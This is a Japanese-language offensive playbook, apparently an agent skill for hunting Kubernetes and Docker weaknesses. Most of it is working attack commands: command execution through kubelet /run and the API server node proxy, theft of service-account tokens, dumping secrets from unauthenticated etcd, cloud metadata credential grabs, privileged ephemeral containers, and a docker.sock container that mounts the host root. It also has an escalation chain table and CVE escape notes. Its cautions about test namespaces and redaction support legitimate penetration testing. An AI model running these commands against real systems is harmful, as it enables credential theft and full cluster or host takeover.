hunt-k8s

HUNT-K8S — Kubernetes と Docker のセキュリティ

クラウンジュエルのターゲット

K8s API の匿名アクセスで cluster-admin 権限が得られると、クラスターを完全に制御できます。docker.sock と RCE があれば、ホストの root 権限を取得できます。特権ポッドを 1 つ作成するか、kubelet の /run でシェルを実行すれば、1 つの発見事項から完全な侵害へとつながります。

価値が最も高い発見事項：

• K8s API の匿名 cluster-admin — system:anonymous／system:unauthenticated が強力なロールにバインドされている状態（典型的な設定ミス：system:anonymous が ClusterRoleBinding で cluster-admin にバインドされている）→ kubectl を完全に操作できます。単に匿名アクセスで 200 が返るだけでは該当しません（誤検出のセクションを参照）。
• Kubelet の 10250 に対する exec／run — /run はコマンドの出力を直接返します。/exec は SPDY／WebSocket ストリームです（フェーズ 3 を参照）。いずれの場合も、任意のポッドで RCE が可能になり、そのポッドの SA トークンを窃取できます。
• API サーバー経由の kubelet RCE — /api/v1/nodes/<node>/proxy/run/... は、権限の低い自身のトークンを使い、API サーバー経由で kubelet に到達します。RBAC で nodes/proxy が許可されていれば、10250 に直接アクセスせずにポッドで RCE を実行できます。2024～2026 年の主要な攻撃ベクトルです。
• etcd 2379 の認証なしアクセス — すべての Secret（SA トークン、TLS キー、アプリの認証情報など）が保存されており、多くの場合は平文です（EncryptionConfiguration が設定されている場合を除く）→ 認証情報をすべてダンプできます。
• docker.sock の露出 — SSRF／LFI／RCE から /var/run/docker.sock に到達できると、--privileged コンテナを作成してホストの / をバインドマウントでき、ホストの root 権限を取得できます。
• runc を介したコンテナエスケープ — Leaky Vessels（CVE-2024-21626）：WORKDIR／process.cwd が漏えいした /proc/self/fd/<n> のホスト FD を指していると、攻撃者が制御するイメージ／exec から脱出してホストの root 権限を取得できます。
• SA トークンの悪用 — /var/run/secrets/kubernetes.io/serviceaccount/token に自動マウントされるトークンです。影響を主張する前に、SelfSubjectRulesReview を使って実際の権限を確認してください。
• K8s Dashboard のログイン回避／トークンなし API — 認証なしで、クラスター管理 UI のすべてにアクセスできます。

---

OOB／確認の必須条件（最初に読む）

K8s の発見事項は、RCE／認証情報漏えいに該当します。基本ルール：ステータスコードから推測せず、状態の変更またはデータの読み取りを実証してください。

• /api/v1/namespaces で 200 が返っても、cluster-admin とは限りません。API サーバーは、list namespaces にアクセスできる任意のプリンシパルに対し、RBAC でフィルタリングされた（空の items: [] であることも多い）リストを 200 で返します。いくつかのリソースへの匿名読み取りは一般的で、影響は限定的です。SelfSubjectRulesReview／SelfSubjectAccessReview で実際の権限を確認し、さらに Secret の値を実際に読み取ってください。
• 10255（読み取り専用）と 10250（exec）はよく混同されます。10255（HTTP、認証なし）は情報漏えいのみで、/pods、/stats、/metrics があり、exec／run はありません。/run と /exec があるのは 10250（HTTPS）です。10255 にアクセスできただけで「kubelet RCE」と報告しないでください。
• ブラインド／アウトバウンドの攻撃ベクトルには OOB 確認が必要です。 SSRF→IMDS→K8s を悪用する場合や、ポッドのエグレスを悪用する場合は、Burp Collaborator／interactsh のサブドメインを使ってアウトバウンドの経路を確認してください（例：/run 経由でポッド内から curl http://<token>.<collab> を実行）。応答の遅延や URL がそのまま返ることは、証拠になりません。
• 影響の証明＝実際の成果物です。 exec の場合：id／hostname の文字どおりの出力。etcd／Secret の場合：デコードしたトークンのバイト列（レポートでは伏せてください）。docker.sock のエスケープの場合：ホストのファイル内容（ノードの /etc/hostname。コンテナのものとは異なります）。
• 作成権限がある場合は、専用のテスト用ネームスペース／テスト用ポッドを使用してください。RCE を「証明」するために、本番ワークロードで exec を実行しないでください。ポッドを一覧表示し、ポリシーで許可されていれば、自分で起動したポッドで読み取り専用の id を実行するか、破壊的でない id を 1 回だけ実行して終了してください。

---

フェーズ 1 — フィンガープリントとポートの検出

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

gitVersion を記録してください。以下の各 CVE の該当性を判断するために必要です。

---

フェーズ 2 — Kubernetes API の匿名／低権限アクセス

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d

CVE-2018-1002105（gitVersion < v1.10.11/1.11.5/1.12.3）：API サーバーのプロキシにあるアップグレードの脆弱性により、認証されていないユーザー／低権限ユーザーが、API サーバーの ID を使ってバックエンド（kubelet／集約 API）へのリクエストを実行し、権限を昇格できます → cluster-admin。フェーズ 1 で gitVersion をフィンガープリントしてください。脆弱な場合、これが最も影響の大きい発見事項です。

---

フェーズ 3 — Kubelet（ポート 10250）— /run を優先し、/exec を正しく処理する

このスキルの以前のバージョンでは、/exec にプレーンな POST を送信し、id の出力が返ることを想定していました。これは誤りです。 /exec は SPDY/WebSocket のストリーミングエンドポイントです。プレーンな POST は、ストリームの場所（例：/cri/exec/<token>）への 302 リダイレクトを返すため、その後、SPDY/WebSocket クライアントで読み取る必要があります。以前の curl を実行して何も表示されないと、オペレーターは kubelet にパッチが適用されていると誤って結論づけてしまいます。

SRV="https://$TARGET:10250"

# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
  | grep -E '"namespace"|"name"|"containerName"' | head -40

NS=default; POD=target-pod; CTR=app

# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
#   kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
#   curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0"   # shows 302 Location
#   websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"

# Container logs (read-only, no stream)
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR"

# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl -s "http://$TARGET:10255/metrics" | head

CVE-2020-8558（ホストネットワークの信頼）：影響を受ける kube-proxy では、ノードの 127.0.0.1 にバインドされたサービス（読み取り専用 kubelet や、localhost のみで利用可能なその他のサービスを含む）が、ノード IP 経由で他のポッドや隣接ホストから到達可能になります。これにより localhost の信頼境界が無効化され、ループバックのみでアクセス可能と想定されていた kubelet/etcd へのラテラル経路が生じます。

---

フェーズ 4 — API サーバー経由の Kubelet RCE（nodes/proxy）

10250 がファイアウォールで遮断されている一方で、nodes/proxy 権限を持つトークン（権限の低いポッド SA でも可）を保有している場合は、API サーバー経由で exec をルーティングします。

SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)

# /run via the node proxy → output comes straight back
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
  "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"

# enumerate every pod on a node via the proxy
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"

バインドされた任意のロールにおける nodes/proxy は、実質的にノード全体での RCE を可能にします。CVE-2022-3294（kube-apiserver のノードアドレス検証）：認証済みユーザーが API サーバーのプロキシ接続を、到達可能な任意のホスト/IP にリダイレクトできました（プロキシ経由の内部 SSRF／ノード偽装）。ノードアドレスに影響を与えられる場合や、プロキシのサブリソースを使用できる場合に関係します。

---

フェーズ 4b — Ingress-NGINX「IngressNightmare」（CVE-2025-1974）

ingress-nginx のアドミッションコントローラー（:8443。通常はクラスター内部ですが、外部に公開されている場合もあります）に到達できる未認証の攻撃者は、Ingress オブジェクトに対する細工した AdmissionReview を通じて任意の NGINX 設定を注入し、コントローラーポッドで RCE を実行できます。そのサービスアカウントは強力な権限を持つため、クラスター全体が侵害されます。コントローラーのバージョン（/healthz、ポッドのイメージタグ）を特定し、<1.11.5 / <1.12.1 に該当するか確認してください。（CVE-2025-1974 と CVE-2025-1097/1098/24513/24514。）

フェーズ 5 — etcd の未認証アクセス（ポート 2379）

# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
  get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40

# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
  -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool

# v2 (older clusters)
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head

etcd から復元した SA トークンを API サーバーに対して再利用し（フェーズ 6）、権限を確認します。誤検知： etcd のピアポート 2380 からの 200 や、TLS が必須のポートが返すハンドシェイクエラーは、クライアントの未認証アクセスを意味しません。キーのデータを伴う range/get が成功した場合に限ります。

---

フェーズ 6 — サービスアカウントトークンの悪用（バインド／プロジェクションされたトークン）

# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"

# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
#          "exp" (projected tokens rotate ~1h — a captured token may already be dead),
#          "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.

# Honest privilege check, then prove with a real read
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"

EphemeralContainers による node-shell への権限昇格： pods/ephemeralcontainers（またはポッドの create）権限があれば、ホストの名前空間を共有するデバッグコンテナーをアタッチしてポッドから脱出します。

kubectl debug node/$NODE -it --image=busybox      # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
  -d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'

---

フェーズ 7 — Docker ソケットの露出と runc コンテナー脱出

# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json

# Privileged container bind-mounting host root → read/write host fs (host escape)
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST http://localhost/v1.41/containers/create?name=poc \
  -d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).

コンテナー脱出の CVE（runc／バージョンを確認）：

• CVE-2024-21626 —「Leaky Vessels」（runc ≤ 1.1.11）： /proc/self/fd/<n> 経由でホストのファイル記述子が漏えいすると、悪意のあるイメージ（WORKDIR /proc/self/fd/N）や runc exec の作業ディレクトリからホストのファイルシステムに脱出し、ホスト上で RCE を実行できます。Dockerfile に影響を与えられるビルド／レジストリ環境で、自分が管理するイメージを使う場合に限ってテストしてください。
• CVE-2019-5736（runc）： exec で侵入できるコンテナーの内部からホストの /proc/self/exe（runc バイナリ）を上書きすると、次回の runc 呼び出し時にホストの root 権限を取得できます。非常に古い runc が対象です。
• CVE-2022-0492（cgroups v1 release_agent）： CAP_SYS_ADMIN を持つコンテナー（または cgroupfs をマウントできるコンテナー）が、ホスト上で実行される release_agent を書き込むと脱出できます。まずコンテナーのケイパビリティを確認してください。

---

フェーズ 8 — Dashboard、アドミッション、Helm/Tiller の残存物

# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl -sk "https://$TARGET:8443/api/v1/secret/default"            # secrets list view
curl -sk "https://$TARGET:8443/api/v1/pod/default"               # pods list view
curl -sk "https://$TARGET:8443/api/v1/namespace"                 # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)

# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install/delete any release

# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.

---

チェーン表

K8s の発見事項	次の段階	影響
匿名 API アクセスで シークレットの読み取りを確認済み	SA／TLS／アプリの認証情報を抽出	クラスターの完全な侵害
nodes/proxy トークン	API サーバー経由の /run → Pod の RCE → SA トークン	ノード全体の RCE → 権限昇格
Kubelet 10250 の /run	任意の Pod で exec → SA トークンを窃取 → API	クラスターの権限昇格
etcd 2379 の認証なしアクセス	すべての Secret をダンプ（暗号化されていない場合）→ トークンを再利用	すべての認証情報のダンプ
docker.sock	特権コンテナー + ホストのバインドマウント	ホストの root 権限
CVE-2024-21626 (runc)	悪意のあるイメージ／exec → ホスト FD からの脱出	コンテナーからホストの root 権限へ
EphemeralContainers / pods create	特権／hostPID デバッグコンテナー	Pod からノードへの脱出
投影された SA トークン（aud が一致）	実際の RBAC の範囲内で API にアクセス	RBAC に依存 — まず確認
Tiller 44134 の露出	Tiller SA として helm install	Tiller に特権があれば cluster-admin

---

誤検知を排除するポイント

• 匿名アクセスの 200 ≠ cluster-admin。 RBAC でフィルタリングされた一覧では、200 と空の items が返ります。SelfSubjectRulesReview で動詞が確認でき、さらに実際の Secret の値を読み取れることを要件とします。
• 10255 ≠ 10250。 読み取り専用の kubelet では exec／run はできません。「Kubelet RCE」は、10250 での /run の出力、または完了した /exec ストリームによって確認する必要があります。
• /exec へのプレーンな POST は、出力ではなく 302 を返します。 本文がないからといって「修正済み」とは限りません。どちらとも結論づける前に、ストリームを確認してください（kubeletctl/websocat）。
• 投影／バインドされた SA トークンは無効、または対象 audience が異なる場合があります。 exp と aud をデコードしてください。Vault／OIDC を対象 audience とするトークンでは、API サーバーに対して認証できません。
• etcd が平文であるという前提。 EncryptionConfiguration が有効な場合、etcd 内の Secret の値は暗号文です。デコードしたバイト列を示さずに「平文のシークレット」と主張しないでください。
• バージョンで適用可否が決まる CVE。 CVE-2018-1002105、-2024-21626、-2019-5736 などを主張する前に、gitVersion（フェーズ 1）／runc のバージョンを確認してください。バージョンの一致は手掛かりであり、PoC の出力が証拠です。
• Dashboard の HTML シェルに対する 200 は、ログインページが表示されただけです。トークンなしでデータにアクセスできる証拠となるのは、/api/v1/<resource>/<ns> で実際のリソース JSON を含む 200 のみです。

---

検証チェックリスト

• API の匿名アクセス： SelfSubjectRulesReview で特権動詞が確認でき、実際の Secret の値が読み取られている（値は伏せる）。
• Kubelet： 10250 の /run から id／hostname の実際の出力が返されている、または /exec ストリームが完了している — 302 だけでは不十分。
• nodes/proxy RCE： トークンを使って /api/v1/nodes/<node>/proxy/run/... 経由でコマンド出力が返されている。
• etcd： キーの一覧だけでなく、デコードされた Secret のバイト列が示されている（暗号化されておらず、読み取り可能であることを証明）。
• docker.sock／脱出： コンテナー内のファイルではなく、NODE のホストファイルの内容が取得されている、または runc-escape PoC の出力がある。
• SA トークン： aud／exp がデコードされ、有効であることが示されている。影響範囲は実際の RBAC に限定する。
• OOB： Collaborator／interactsh のサブドメイン経由で、アウトバウンド通信／SSRF の経路が確認されている。

深刻度：

• API の匿名アクセスからシークレットの読み取り、kubelet／nodes-proxy の RCE、etcd のダンプ、docker.sock／runc の脱出、CVE-2018-1002105：Critical
• Dashboard のトークンなしデータアクセス、Tiller の露出：High
• 読み取り専用 kubelet 10255、匿名での /version／/pods による情報漏えい：Medium